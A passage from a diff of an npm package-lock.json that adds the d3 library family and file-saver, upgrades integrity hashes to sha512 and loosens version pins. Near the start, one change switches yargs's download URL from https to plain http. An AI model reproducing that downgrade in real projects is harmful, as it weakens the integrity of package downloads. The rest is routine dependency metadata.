"version": "11.1.0", - "resolved": "https://registry.npmjs.org/yargs/-/yargs-11.1.0.tgz", + "resolved": "http://registry.npmjs.org/yargs/-/yargs-11.1.0.tgz", "integrity": "sha512-NwW69J42EsCSanF8kyn5upxvjp5ds+t3+udGBeTbFnERA+lF541DDpMawzo4z6W/QrzNM18D+BPMiOBibnFV5A==", "dev": true, "requires": { @@ -3420,8 +3418,8 @@ "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-3.13.1.tgz", "integrity": "sha512-YfbcO7jXDdyj0DGxYVSlSeQNHbD7XPWvrVWeVUujrQEoZzWJIRrCPoyk6kL6IAjAG2IolMK4T0hNUe0HOUs5Jw==", "requires": { - "argparse": "1.0.9", - "esprima": "4.0.1" + "argparse": "^1.0.7", + "esprima": "^4.0.0" } }, "parse-json": { @@ -3429,8 +3427,8 @@ "resolved": "https://registry.npmjs.org/parse-json/-/parse-json-4.0.0.tgz", "integrity": "sha1-vjX1Qlvh9/bHRxhPmKeIy5lHfuA=", "requires": { - "error-ex": "1.3.2", - "json-parse-better-errors": "1.0.2" + "error-ex": "^1.3.1", + "json-parse-better-errors": "^1.0.1" } } } @@ -3658,6 +3656,270 @@ "es5-ext": "^0.10.9" } }, + "d3": { + "version": "5.11.0", + "resolved": "https://registry.npmjs.org/d3/-/d3-5.11.0.tgz", + "integrity": "sha512-LXgMVUAEAzQh6WfEEOa8tJX4RA64ZJ6twC3CJ+Xzid+fXWLTZkkglagXav/eOoQgzQi5rzV0xC4Sfspd6hFDHA==", + "requires": { + "d3-array": "1", + "d3-axis": "1", + "d3-brush": "1", + "d3-chord": "1", + "d3-collection": "1", + "d3-color": "1", + "d3-contour": "1", + "d3-dispatch": "1", + "d3-drag": "1", + "d3-dsv": "1", + "d3-ease": "1", + "d3-fetch": "1", + "d3-force": "1", + "d3-format": "1", + "d3-geo": "1", + "d3-hierarchy": "1", + "d3-interpolate": "1", + "d3-path": "1", + "d3-polygon": "1", + "d3-quadtree": "1", + "d3-random": "1", + "d3-scale": "2", + "d3-scale-chromatic": "1", + "d3-selection": "1", + "d3-shape": "1", + "d3-time": "1", + "d3-time-format": "2", + "d3-timer": "1", + "d3-transition": "1", + "d3-voronoi": "1", + "d3-zoom": "1" + } + }, + "d3-array": { + "version": "1.2.4", + "resolved": "https://registry.npmjs.org/d3-array/-/d3-array-1.2.4.tgz", + "integrity": "sha512-KHW6M86R+FUPYGb3R5XiYjXPq7VzwxZ22buHhAEVG5ztoEcZZMLov530mmccaqA1GghZArjQV46fuc8kUqhhHw==" + }, + "d3-axis": { + "version": "1.0.12", + "resolved": "https://registry.npmjs.org/d3-axis/-/d3-axis-1.0.12.tgz", + "integrity": "sha512-ejINPfPSNdGFKEOAtnBtdkpr24c4d4jsei6Lg98mxf424ivoDP2956/5HDpIAtmHo85lqT4pruy+zEgvRUBqaQ==" + }, + "d3-brush": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/d3-brush/-/d3-brush-1.1.3.tgz", + "integrity": "sha512-v8bbYyCFKjyCzFk/tdWqXwDykY8YWqhXYjcYxfILIit085VZOpj4XJKOMccTsvWxgzSLMJQg5SiqHjslsipEDg==", + "requires": { + "d3-dispatch": "1", + "d3-drag": "1", + "d3-interpolate": "1", + "d3-selection": "1", + "d3-transition": "1" + } + }, + "d3-chord": { + "version": "1.0.6", + "resolved": "https://registry.npmjs.org/d3-chord/-/d3-chord-1.0.6.tgz", + "integrity": "sha512-JXA2Dro1Fxw9rJe33Uv+Ckr5IrAa74TlfDEhE/jfLOaXegMQFQTAgAw9WnZL8+HxVBRXaRGCkrNU7pJeylRIuA==", + "requires": { + "d3-array": "1", + "d3-path": "1" + } + }, + "d3-collection": { + "version": "1.0.7", + "resolved": "https://registry.npmjs.org/d3-collection/-/d3-collection-1.0.7.tgz", + "integrity": "sha512-ii0/r5f4sjKNTfh84Di+DpztYwqKhEyUlKoPrzUFfeSkWxjW49xU2QzO9qrPrNkpdI0XJkfzvmTu8V2Zylln6A==" + }, + "d3-color": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/d3-color/-/d3-color-1.3.0.tgz", + "integrity": "sha512-NHODMBlj59xPAwl2BDiO2Mog6V+PrGRtBfWKqKRrs9MCqlSkIEb0Z/SfY7jW29ReHTDC/j+vwXhnZcXI3+3fbg==" + }, + "d3-contour": { + "version": "1.3.2", + "resolved": "https://registry.npmjs.org/d3-contour/-/d3-contour-1.3.2.tgz", + "integrity": "sha512-hoPp4K/rJCu0ladiH6zmJUEz6+u3lgR+GSm/QdM2BBvDraU39Vr7YdDCicJcxP1z8i9B/2dJLgDC1NcvlF8WCg==", + "requires": { + "d3-array": "^1.1.1" + } + }, + "d3-dispatch": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/d3-dispatch/-/d3-dispatch-1.0.5.tgz", + "integrity": "sha512-vwKx+lAqB1UuCeklr6Jh1bvC4SZgbSqbkGBLClItFBIYH4vqDJCA7qfoy14lXmJdnBOdxndAMxjCbImJYW7e6g==" + }, + "d3-drag": { + "version": "1.2.4", + "resolved": "https://registry.npmjs.org/d3-drag/-/d3-drag-1.2.4.tgz", + "integrity": "sha512-ICPurDETFAelF1CTHdIyiUM4PsyZLaM+7oIBhmyP+cuVjze5vDZ8V//LdOFjg0jGnFIZD/Sfmk0r95PSiu78rw==", + "requires": { + "d3-dispatch": "1", + "d3-selection": "1" + } + }, + "d3-dsv": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/d3-dsv/-/d3-dsv-1.1.1.tgz", + "integrity": "sha512-1EH1oRGSkeDUlDRbhsFytAXU6cAmXFzc52YUe6MRlPClmWb85MP1J5x+YJRzya4ynZWnbELdSAvATFW/MbxaXw==", + "requires": { + "commander": "2", + "iconv-lite": "0.4", + "rw": "1" + } + }, + "d3-ease": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/d3-ease/-/d3-ease-1.0.5.tgz", + "integrity": "sha512-Ct1O//ly5y5lFM9YTdu+ygq7LleSgSE4oj7vUt9tPLHUi8VCV7QoizGpdWRWAwCO9LdYzIrQDg97+hGVdsSGPQ==" + }, + "d3-fetch": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/d3-fetch/-/d3-fetch-1.1.2.tgz", + "integrity": "sha512-S2loaQCV/ZeyTyIF2oP8D1K9Z4QizUzW7cWeAOAS4U88qOt3Ucf6GsmgthuYSdyB2HyEm4CeGvkQxWsmInsIVA==", + "requires": { + "d3-dsv": "1" + } + }, + "d3-force": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/d3-force/-/d3-force-1.2.1.tgz", + "integrity": "sha512-HHvehyaiUlVo5CxBJ0yF/xny4xoaxFxDnBXNvNcfW9adORGZfyNF1dj6DGLKyk4Yh3brP/1h3rnDzdIAwL08zg==", + "requires": { + "d3-collection": "1", + "d3-dispatch": "1", + "d3-quadtree": "1", + "d3-timer": "1" + } + }, + "d3-format": { + "version": "1.3.2", + "resolved": "https://registry.npmjs.org/d3-format/-/d3-format-1.3.2.tgz", + "integrity": "sha512-Z18Dprj96ExragQ0DeGi+SYPQ7pPfRMtUXtsg/ChVIKNBCzjO8XYJvRTC1usblx52lqge56V5ect+frYTQc8WQ==" + }, + "d3-geo": { + "version": "1.11.6", + "resolved": "https://registry.npmjs.org/d3-geo/-/d3-geo-1.11.6.tgz", + "integrity": "sha512-z0J8InXR9e9wcgNtmVnPTj0TU8nhYT6lD/ak9may2PdKqXIeHUr8UbFLoCtrPYNsjv6YaLvSDQVl578k6nm7GA==", + "requires": { + "d3-array": "1" + } + }, + "d3-hierarchy": { + "version": "1.1.8", + "resolved": "https://registry.npmjs.org/d3-hierarchy/-/d3-hierarchy-1.1.8.tgz", + "integrity": "sha512-L+GHMSZNwTpiq4rt9GEsNcpLa4M96lXMR8M/nMG9p5hBE0jy6C+3hWtyZMenPQdwla249iJy7Nx0uKt3n+u9+w==" + }, + "d3-interpolate": { + "version": "1.3.2", + "resolved": "https://registry.npmjs.org/d3-interpolate/-/d3-interpolate-1.3.2.tgz", + "integrity": "sha512-NlNKGopqaz9qM1PXh9gBF1KSCVh+jSFErrSlD/4hybwoNX/gt1d8CDbDW+3i+5UOHhjC6s6nMvRxcuoMVNgL2w==", + "requires": { + "d3-color": "1" + } + }, + "d3-path": { + "version": "1.0.8", + "resolved": "https://registry.npmjs.org/d3-path/-/d3-path-1.0.8.tgz", + "integrity": "sha512-J6EfUNwcMQ+aM5YPOB8ZbgAZu6wc82f/0WFxrxwV6Ll8wBwLaHLKCqQ5Imub02JriCVVdPjgI+6P3a4EWJCxAg==" + }, + "d3-polygon": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/d3-polygon/-/d3-polygon-1.0.5.tgz", + "integrity": "sha512-RHhh1ZUJZfhgoqzWWuRhzQJvO7LavchhitSTHGu9oj6uuLFzYZVeBzaWTQ2qSO6bz2w55RMoOCf0MsLCDB6e0w==" + }, + "d3-quadtree": { + "version": "1.0.6", + "resolved": "https://registry.npmjs.org/d3-quadtree/-/d3-quadtree-1.0.6.tgz", + "integrity": "sha512-NUgeo9G+ENQCQ1LsRr2qJg3MQ4DJvxcDNCiohdJGHt5gRhBW6orIB5m5FJ9kK3HNL8g9F4ERVoBzcEwQBfXWVA==" + }, + "d3-random": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/d3-random/-/d3-random-1.1.2.tgz", + "integrity": "sha512-6AK5BNpIFqP+cx/sreKzNjWbwZQCSUatxq+pPRmFIQaWuoD+NrbVWw7YWpHiXpCQ/NanKdtGDuB+VQcZDaEmYQ==" + }, + "d3-scale": { + "version": "2.2.2", + "resolved": "https://registry.npmjs.org/d3-scale/-/d3-scale-2.2.2.tgz", + "integrity": "sha512-LbeEvGgIb8UMcAa0EATLNX0lelKWGYDQiPdHj+gLblGVhGLyNbaCn3EvrJf0A3Y/uOOU5aD6MTh5ZFCdEwGiCw==", + "requires": { + "d3-array": "^1.2.0", + "d3-collection": "1", + "d3-format": "1", + "d3-interpolate": "1", + "d3-time": "1", + "d3-time-format": "2" + } + }, + "d3-scale-chromatic": { + "version": "1.5.0", + "resolved": "https://registry.npmjs.org/d3-scale-chromatic/-/d3-scale-chromatic-1.5.0.tgz", + "integrity": "sha512-ACcL46DYImpRFMBcpk9HhtIyC7bTBR4fNOPxwVSl0LfulDAwyiHyPOTqcDG1+t5d4P9W7t/2NAuWu59aKko/cg==", + "requires": { + "d3-color": "1", + "d3-interpolate": "1" + } + }, + "d3-selection": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/d3-selection/-/d3-selection-1.4.0.tgz", + "integrity": "sha512-EYVwBxQGEjLCKF2pJ4+yrErskDnz5v403qvAid96cNdCMr8rmCYfY5RGzWz24mdIbxmDf6/4EAH+K9xperD5jg==" + }, + "d3-shape": { + "version": "1.3.5", + "resolved": "https://registry.npmjs.org/d3-shape/-/d3-shape-1.3.5.tgz", + "integrity": "sha512-VKazVR3phgD+MUCldapHD7P9kcrvPcexeX/PkMJmkUov4JM8IxsSg1DvbYoYich9AtdTsa5nNk2++ImPiDiSxg==", + "requires": { + "d3-path": "1" + } + }, + "d3-time": { + "version": "1.0.11", + "resolved": "https://registry.npmjs.org/d3-time/-/d3-time-1.0.11.tgz", + "integrity": "sha512-Z3wpvhPLW4vEScGeIMUckDW7+3hWKOQfAWg/U7PlWBnQmeKQ00gCUsTtWSYulrKNA7ta8hJ+xXc6MHrMuITwEw==" + }, + "d3-time-format": { + "version": "2.1.3", + "resolved": "https://registry.npmjs.org/d3-time-format/-/d3-time-format-2.1.3.tgz", + "integrity": "sha512-6k0a2rZryzGm5Ihx+aFMuO1GgelgIz+7HhB4PH4OEndD5q2zGn1mDfRdNrulspOfR6JXkb2sThhDK41CSK85QA==", + "requires": { + "d3-time": "1" + } + }, + "d3-timer": { + "version": "1.0.9", + "resolved": "https://registry.npmjs.org/d3-timer/-/d3-timer-1.0.9.tgz", + "integrity": "sha512-rT34J5HnQUHhcLvhSB9GjCkN0Ddd5Y8nCwDBG2u6wQEeYxT/Lf51fTFFkldeib/sE/J0clIe0pnCfs6g/lRbyg==" + }, + "d3-transition": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/d3-transition/-/d3-transition-1.2.0.tgz", + "integrity": "sha512-VJ7cmX/FPIPJYuaL2r1o1EMHLttvoIuZhhuAlRoOxDzogV8iQS6jYulDm3xEU3TqL80IZIhI551/ebmCMrkvhw==", + "requires": { + "d3-color": "1", + "d3-dispatch": "1", + "d3-ease": "1", + "d3-interpolate": "1", + "d3-selection": "^1.1.0", + "d3-timer": "1" + } + }, + "d3-voronoi": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/d3-voronoi/-/d3-voronoi-1.1.4.tgz", + "integrity": "sha512-dArJ32hchFsrQ8uMiTBLq256MpnZjeuBtdHpaDlYuQyjU0CVzCJl/BVW+SkszaAeH95D/8gxqAhgx0ouAWAfRg==" + }, + "d3-zoom": { + "version": "1.8.3", + "resolved": "https://registry.npmjs.org/d3-zoom/-/d3-zoom-1.8.3.tgz", + "integrity": "sha512-VoLXTK4wvy1a0JpH2Il+F2CiOhVu7VRXWF5M/LroMIh3/zBAC3WAt7QoIvPibOavVo20hN6/37vwAsdBejLyKQ==", + "requires": { + "d3-dispatch": "1", + "d3-drag": "1", + "d3-interpolate": "1", + "d3-selection": "1", + "d3-transition": "1" + } + }, "dashdash": { "version": "1.14.1", "resolved": "https://registry.npmjs.org/dashdash/-/dashdash-1.14.1.tgz", @@ -5199,6 +5461,11 @@ } } }, + "file-saver": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/file-saver/-/file-saver-2.0.2.tgz", + "integrity": "sha512-Wz3c3XQ5xroCxd1G8b7yL0Ehkf0TC9oYC6buPFkNnU9EnaPlifeAFCyCh+iewXTyFRcg0a6j3J7FmJsIhlhBdw==" + }, "filename-regex": { "version": "2.0.1", "resolved": "https://registry.npmjs.org/filename-regex/-/filename-regex-2.0.1.tgz", @@ -5271,7 +5538,7 @@ "find-root": { "version": "1.1.0", "resolved": "https://registry.npmjs.org/find-root/-/find-root-1.1.0.tgz", - "integrity": "sha1-q8/Iunb3CMQql7PWhbfpRQv7nOQ=" + "integrity": "sha512-NKfW6bec6GfKc0SGx1e07QZY9PE99u0Bft/0rzSD5k3sO/vwkVUpDUKVm5Gpp5Ue3YfShPFTX2070tDs5kB9Ng==" }, "find-up": { "version": "1.1.2", @@ -5523,15 +5790,14 @@ "dev": true, "optional": true, "requires": { - "co": "4.6.0", - "json-stable-stringify": "1.0.1" + "co": "^4.6.0", + "json-stable-stringify": "^1.0.1" } }, "ansi-regex": { "version": "2.1.1", "bundled": true, - "dev": true, - "optional": true + "dev": true }, "aproba": { "version": "1.1.1", @@ -5582,8 +5848,7 @@ "balanced-match": { "version": "0.4.2", "bundled": true, - "dev": true, - "optional": true + "dev": true }, "bcrypt-pbkdf": { "version": "1.0.1", @@ -5598,7 +5863,6 @@ "version": "0.0.9", "bundled": true, "dev": true, - "optional": true, "requires": { "inherits": "~2.0.0" } @@ -5607,7 +5871,6 @@ "version": "2.10.1", "bundled": true, "dev": true, - "optional": true, "requires": { "hoek": "2.x.x" } @@ -5616,7 +5879,6 @@ "version": "1.1.7", "bundled": true, "dev": true, - "optional": true, "requires": { "balanced-match": "^0.4.1", "concat-map": "0.0.1" @@ -5625,8 +5887,7 @@ "buffer-shims": { "version": "1.0.0", "bundled": true, - "dev": true, - "optional": true + "dev": true }, "caseless": { "version": "0.12.0", @@ -5643,14 +5904,12 @@ "code-point-at": { "version": "1.1.0", "bundled": true, - "dev": true, - "optional": true + "dev": true }, "combined-stream": { "version": "1.0.5", "bundled": true, "dev": true, - "optional": true, "requires": { "delayed-stream": "~1.0.0" } @@ -5658,20 +5917,17 @@ "concat-map": { "version": "0.0.1", "bundled": true, - "dev": true, - "optional": true + "dev": true }, "console-control-strings": { "version": "1.1.0", "bundled": true, - "dev": true, - "optional": true + "dev": true }, "core-util-is": { "version": "1.0.2", "bundled": true, - "dev": true, - "optional": true + "dev": true }, "cryptiles": { "version": "2.0.5", @@ -5717,8 +5973,7 @@ "delayed-stream": { "version": "1.0.0", "bundled": true, - "dev": true, - "optional": true + "dev": true }, "delegates": { "version": "1.0.0", @@ -5732,7 +5987,7 @@ "dev": true, "optional": true, "requires": { - "jsbn": "0.1.1" + "jsbn": "~0.1.0" } }, "extend": { @@ -5744,8 +5999,7 @@ "extsprintf": { "version": "1.0.2", "bundled": true, - "dev": true, - "optional": true + "dev": true }, "forever-agent": { "version": "0.6.1", @@ -5767,14 +6021,12 @@ "fs.realpath": { "version": "1.0.0", "bundled": true, - "dev": true, - "optional": true + "dev": true }, "fstream": { "version": "1.0.11", "bundled": true, "dev": true, - "optional": true, "requires": { "graceful-fs": "^4.1.2", "inherits": "~2.0.0", @@ -5830,7 +6082,6 @@ "version": "7.1.2", "bundled": true, "dev": true, - "optional": true, "requires": { "fs.realpath": "^1.0.0", "inflight": "^1.0.4", @@ -5843,8 +6094,7 @@ "graceful-fs": { "version": "4.1.11", "bundled": true, - "dev": true, - "optional": true + "dev": true }, "har-schema": { "version": "1.0.5", @@ -5858,8 +6108,8 @@ "dev": true, "optional": true, "requires": { - "ajv": "4.11.8", - "har-schema": "1.0.5" + "ajv": "^4.9.1", + "har-schema": "^1.0.5" } }, "has-unicode": { @@ -5883,8 +6133,7 @@ "hoek": { "version": "2.16.3", "bundled": true, - "dev": true, - "optional": true + "dev": true }, "http-signature": { "version": "1.1.1", @@ -5901,7 +6150,6 @@ "version": "1.0.6", "bundled": true, "dev": true, - "optional": true, "requires": { "once": "^1.3.0", "wrappy": "1" @@ -5910,8 +6158,7 @@ "inherits": { "version": "2.0.3", "bundled": true, - "dev": true, - "optional": true + "dev": true }, "ini": { "version": "1.3.4", @@ -5923,7 +6170,6 @@ "version": "1.0.0", "bundled": true, "dev": true, - "optional": true, "requires": { "number-is-nan": "^1.0.0" } @@ -5937,8 +6183,7 @@ "isarray": { "version": "1.0.0", "bundled": true, - "dev": true, - "optional": true + "dev": true }, "isstream": { "version": "0.1.2", @@ -5952,7 +6197,7 @@ "dev": true, "optional": true, "requires": { - "jsbn": "0.1.1" + "jsbn": "~0.1.0" } }, "jsbn": { @@ -5973,7 +6218,7 @@ "dev": true, "optional": true, "requires": { - "jsonify": "0.0.0" + "jsonify": "~0.0.0" } }, "json-stringify-safe": { @@ -6011,14 +6256,12 @@ "mime-db": { "version": "1.27.0", "bundled": true, - "dev": true, - "optional": true + "dev": true }, "mime-types": { "version": "2.1.15", "bundled": true, "dev": true, - "optional": true, "requires": { "mime-db": "~1.27.0" } @@ -6027,7 +6270,6 @@ "version": "3.0.4", "bundled": true, "dev": true, - "optional": true, "requires": { "brace-expansion": "^1.1.7" } @@ -6035,14 +6277,12 @@ "minimist": { "version": "0.0.8", "bundled": true, - "dev": true, - "optional": true + "dev": true }, "mkdirp": { "version": "0.5.1", "bundled": true, "dev": true, - "optional": true, "requires": { "minimist": "0.0.8" } @@ -6095,8 +6335,7 @@ "number-is-nan": { "version": "1.0.1", "bundled": true, - "dev": true, - "optional": true + "dev": true }, "oauth-sign": { "version": "0.8.2", @@ -6114,7 +6353,6 @@ "version": "1.4.0", "bundled": true, "dev": true, - "optional": true, "requires": { "wrappy": "1" } @@ -6144,8 +6382,7 @@ "path-is-absolute": { "version": "1.0.1", "bundled": true, - "dev": true, - "optional": true + "dev": true }, "performance-now": { "version": "0.2.0", @@ -6156,8 +6393,7 @@ "process-nextick-args": { "version": "1.0.7", "bundled": true, - "dev": true, - "optional": true + "dev": true }, "punycode": { "version": "1.4.1", @@ -6195,7 +6431,6 @@ "version": "2.2.9", "bundled": true, "dev": true, - "optional": true, "requires": { "buffer-shims": "~1.0.0", "core-util-is": "~1.0.0", @@ -6240,7 +6475,6 @@ "version": "2.6.1", "bundled": true, "dev": true, - "optional": true, "requires": { "glob": "^7.0.5" } @@ -6248,8 +6482,7 @@ "safe-buffer": { "version": "5.0.1", "bundled": true, - "dev": true, - "optional": true + "dev": true }, "semver": { "version": "5.3.0", @@ -6307,7 +6540,6 @@ "version": "1.0.2", "bundled": true, "dev": true, - "optional": true, "requires": { "code-point-at": "^1.0.0", "is-fullwidth-code-point": "^1.0.0", @@ -6318,7 +6550,6 @@ "version": "1.0.1", "bundled": true, "dev": true, - "optional": true, "requires": { "safe-buffer": "^5.0.1" } @@ -6333,7 +6564,6 @@ "version": "3.0.1", "bundled": true, "dev": true, - "optional": true, "requires": { "ansi-regex": "^2.0.0" } @@ -6348,7 +6578,6 @@ "version": "2.2.1", "bundled": true, "dev": true, - "optional": true, "requires": { "block-stream": "*", "fstream": "^1.0.2", @@ -6404,8 +6633,7 @@ "util-deprecate": { "version": "1.0.2", "bundled": true, - "dev": true, - "optional": true + "dev": true }, "uuid": { "version": "3.0.1", @@ -6434,15 +6662,14 @@ "wrappy": { "version": "1.0.2", "bundled": true, - "dev": true, - "optional": true + "dev": true } } }, "fstream": { "version": "1.0.12", "resolved": "https://registry.npmjs.org/fstream/-/fstream-1.0.12.tgz", - "integrity": "sha1-Touo7i1Ivk99DeUFRVVI6uWTIEU=", + "integrity": "sha512-WvJ193OHa0GHPEL+AycEJgxvBEwyfRkN1vhjca23OaPVMCaLCXTd5qAu82AjTcgP1UJmytkOKb63Ypde7raDIg==", "requires": { "graceful-fs": "^4.1.2", "inherits": "~2.0.0", @@ -6500,7 +6727,7 @@ "gaze": { "version": "1.1.3", "resolved": "https://registry.npmjs.org/gaze/-/gaze-1.1.3.tgz", - "integrity": "sha1-xEFzPhO5J6yMD/C0w7Az8ogSkko=", + "integrity": "sha512-BRdNm8hbWzFzWHERTrejLqwHDfS4GibPoq5wjTPIoJHoBtKGPg3xAFfxmM+9ztbXelxcf2hwQcaz1PtmFeue8g==", "requires": { "globule": "^1.0.0" } @@ -6570,7 +6797,6 @@ "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-2.0.0.tgz", "integrity": "sha1-gTg9ctsFT8zPUzbaqQLxgvbtuyg=", "dev": true, - "optional": true, "requires": { "is-glob": "^2.0.0" } @@ -6614,7 +6840,7 @@ "globule": { "version": "1.2.1", "resolved": "https://registry.npmjs.org/globule/-/globule-1.2.1.tgz", - "integrity": "sha1-Xf+xsZHyLSB5epNptJ6rTpg5aW0=", + "integrity": "sha512-g7QtgWF4uYSL5/dn71WxubOrS7JVGCnFPEnoeChJmBnyR9Mw8nGoEwOgJL/RC2Te0WhbsEUCejfH8SZNJ+adYQ==", "requires": { "glob": "~7.1.1", "lodash": "~4.17.10", @@ -7820,8 +8046,7 @@ "version": "1.0.0", "resolved": "https://registry.npmjs.org/is-extglob/-/is-extglob-1.0.0.tgz", "integrity": "sha1-rEaBd8SUNAWgkvyPKXYMb/xiBsA=", - "dev": true, - "optional": true + "dev": true }, "is-finite": { "version": "1.0.2", @@ -7841,7 +8066,6 @@ "resolved": "https://registry.npmjs.org/is-glob/-/is-glob-2.0.1.tgz", "integrity": "sha1-0Jb5JqPe1WAPP9/ZEZjLCIjC2GM=", "dev": true, - "optional": true, "requires": { "is-extglob": "^1.0.0" } @@ -7906,8 +8130,7 @@ "version": "2.0.0", "resolved": "https://registry.npmjs.org/is-primitive/-/is-primitive-2.0.0.tgz", "integrity": "sha1-IHurkWOEmcB7Kt8kCkGochADRXU=", - "dev": true, - "optional": true + "dev": true }, "is-promise": { "version": "2.1.0", @@ -8070,7 +8293,7 @@ "js-base64": { "version": "2.5.1", "resolved": "https://registry.npmjs.org/js-base64/-/js-base64-2.5.1.tgz", - "integrity": "sha1-Hvo57yxfeYC7F4St5KivLeMpESE=" + "integrity": "sha512-M7kLczedRMYX4L8Mdh4MzyAMM9O5osx+4FcOQuTvr3A9F2D9S5JXheN0ewNbrvK2UatkTRhL5ejGmGSjNMiZuw==" }, "js-file-download": { "version": "0.4.4", @@ -8459,8 +8682,7 @@ "ansi-regex": { "version": "2.1.1", "bundled": true, - "dev": true, - "optional": true + "dev": true }, "aproba": { "version": "1.2.0", @@ -8481,14 +8703,12 @@ "balanced-match": { "version": "1.0.0", "bundled": true, - "dev": true, - "optional": true + "dev": true }, "brace-expansion": { "version": "1.1.11", "bundled": true, "dev": true, - "optional": true, "requires": { "balanced-match": "^1.0.0", "concat-map": "0.0.1" @@ -8503,20 +8723,17 @@ "code-point-at": { "version": "1.1.0", "bundled": true, - "dev": true, - "optional": true + "dev": true }, "concat-map": { "version": "0.0.1", "bundled": true, - "dev": true, - "optional": true + "dev": true }, "console-control-strings": { "version": "1.1.0", "bundled": true, - "dev": true, - "optional": true + "dev": true }, "core-util-is": { "version": "1.0.2", @@ -8617,7 +8834,7 @@ "dev": true, "optional": true, "requires": { - "minimatch": "3.0.4" + "minimatch": "^3.0.4" } }, "inflight": { @@ -8633,8 +8850,7 @@ "inherits": { "version": "2.0.3", "bundled": true, - "dev": true, - "optional": true + "dev": true }, "ini": { "version": "1.3.5", @@ -8646,9 +8862,8 @@ "version": "1.0.0", "bundled": true, "dev": true, - "optional": true, "requires": { - "number-is-nan": "1.0.1" + "number-is-nan": "^1.0.0" } }, "isarray": { @@ -8661,7 +8876,6 @@ "version": "3.0.4", "bundled": true, "dev": true, - "optional": true, "requires": { "brace-expansion": "^1.1.7" } @@ -8669,14 +8883,12 @@ "minimist": { "version": "0.0.8", "bundled": true, - "dev": true, - "optional": true + "dev": true }, "minipass": { "version": "2.2.4", "bundled": true, "dev": true, - "optional": true, "requires": { "safe-buffer": "^5.1.1", "yallist": "^3.0.0" @@ -8695,7 +8907,6 @@ "version": "0.5.1", "bundled": true, "dev": true, - "optional": true, "requires": { "minimist": "0.0.8" } @@ -8757,8 +8968,8 @@ "dev": true, "optional": true, "requires": { - "ignore-walk": "3.0.1", - "npm-bundled": "1.0.3" + "ignore-walk": "^3.0.1", + "npm-bundled": "^1.0.1" } }, "npmlog": { @@ -8776,8 +8987,7 @@ "number-is-nan": { "version": "1.0.1", "bundled": true, - "dev": true, - "optional": true + "dev": true }, "object-assign": { "version": "4.1.1", @@ -8789,7 +8999,6 @@ "version": "1.4.0", "bundled": true, "dev": true, - "optional": true, "requires": { "wrappy": "1" } @@ -8875,8 +9084,7 @@ "safe-buffer": { "version": "5.1.1", "bundled": true, - "dev": true, - "optional": true + "dev": true }, "safer-buffer": { "version": "2.1.2", @@ -8912,7 +9120,6 @@ "version": "1.0.2", "bundled": true, "dev": true, - "optional": true, "requires": { "code-point-at": "^1.0.0", "is-fullwidth-code-point": "^1.0.0", @@ -8932,7 +9139,6 @@ "version": "3.0.1", "bundled": true, "dev": true, - "optional": true, "requires": { "ansi-regex": "^2.0.0" } @@ -8976,14 +9182,12 @@ "wrappy": { "version": "1.0.2", "bundled": true, - "dev": true, - "optional": true + "dev": true }, "yallist": { "version": "3.0.2", "bundled": true, - "dev": true, - "optional": true + "dev": true } } }, @@ -9554,8 +9758,7 @@ "version": "1.0.1", "resolved": "https://registry.npmjs.org/longest/-/longest-1.0.1.tgz", "integrity": "sha1-MKCy2jj3N3DoKUoNIuZiXtd9AJc=", - "dev": true, - "optional": true + "dev": true }, "loose-envify": { "version": "1.3.1", @@ -10100,7 +10303,7 @@ "node-fetch": { "version": "1.7.3", "resolved": "https://registry.npmjs.org/node-fetch/-/node-fetch-1.7.3.tgz", - "integrity": "sha1-mA9vcthSEaU0fGsrwYxbhMPrR+8=", + "integrity": "sha512-NhZ4CsKx7cYm2vSrBAr2PvFOe6sWDf0UYLRqA6svUYg7+/TSfVAu49jYC4BvQ4Sms9SZgdqGBgroqfDhJdTyKQ==", "requires": { "encoding": "^0.1.11", "is-stream": "^1.0.1" @@ -10115,7 +10318,7 @@ "node-gyp": { "version": "3.8.0", "resolved": "https://registry.npmjs.org/node-gyp/-/node-gyp-3.8.0.tgz", - "integrity": "sha1-VAMEJhwzDoDQ1e3OJTpoyzlkIYw=", + "integrity": "sha512-3g8lYefrRRzvGeSowdJKAKyks8oUpLEd/DyPV4eMhVlhJ0aNaZqIrNUIPuEWWTAoPqyFkfGrM67MC69baqn6vA==", "requires": { "fstream": "^1.0.0", "glob": "^7.0.3", @@ -10134,7 +10337,7 @@ "ajv": { "version": "6.10.0", "resolved": "https://registry.npmjs.org/ajv/-/ajv-6.10.0.tgz", - "integrity": "sha1-kNDVRDnaWHzX6EO/twRfUL0ivfE=", + "integrity": "sha512-nffhOpkymDECQyR0mnsUtoCE8RlX38G0rYP+wgLWFyZuUyuuojSSvi/+euOiQBIn63whYwYVIIH1TvE3tu4OEg==", "requires": { "fast-deep-equal": "^2.0.1", "fast-json-stable-stringify": "^2.0.0", @@ -10145,12 +10348,12 @@ "aws4": { "version": "1.8.0", "resolved": "https://registry.npmjs.org/aws4/-/aws4-1.8.0.tgz", - "integrity": "sha1-8OAD2cqef1nHpQiUXXsu+aBKVC8=" + "integrity": "sha512-ReZxvNHIOv88FlT7rxcXIIC0fPt4KZqZbOlivyWtXLt8ESx84zd3kMC6iK5jVeS2qt+g7ftS7ye4fi06X5rtRQ==" }, "extend": { "version": "3.0.2", "resolved": "https://registry.npmjs.org/extend/-/extend-3.0.2.tgz", - "integrity": "sha1-+LETa0Bx+9jrFAr/hYsQGewpFfo=" + "integrity": "sha512-fjquC59cD7CyW6urNXK0FBufkZcoiGG80wTuPujX590cB5Ttln20E2UB4S/WARVqhXffZl2LNgS+gQdPIIim/g==" }, "fast-deep-equal": { "version": "2.0.1", @@ -10160,7 +10363,7 @@ "har-validator": { "version": "5.1.3", "resolved": "https://registry.npmjs.org/har-validator/-/har-validator-5.1.3.tgz", - "integrity": "sha1-HvievT5JllV2de7ZiTEQ3DUPoIA=", + "integrity": 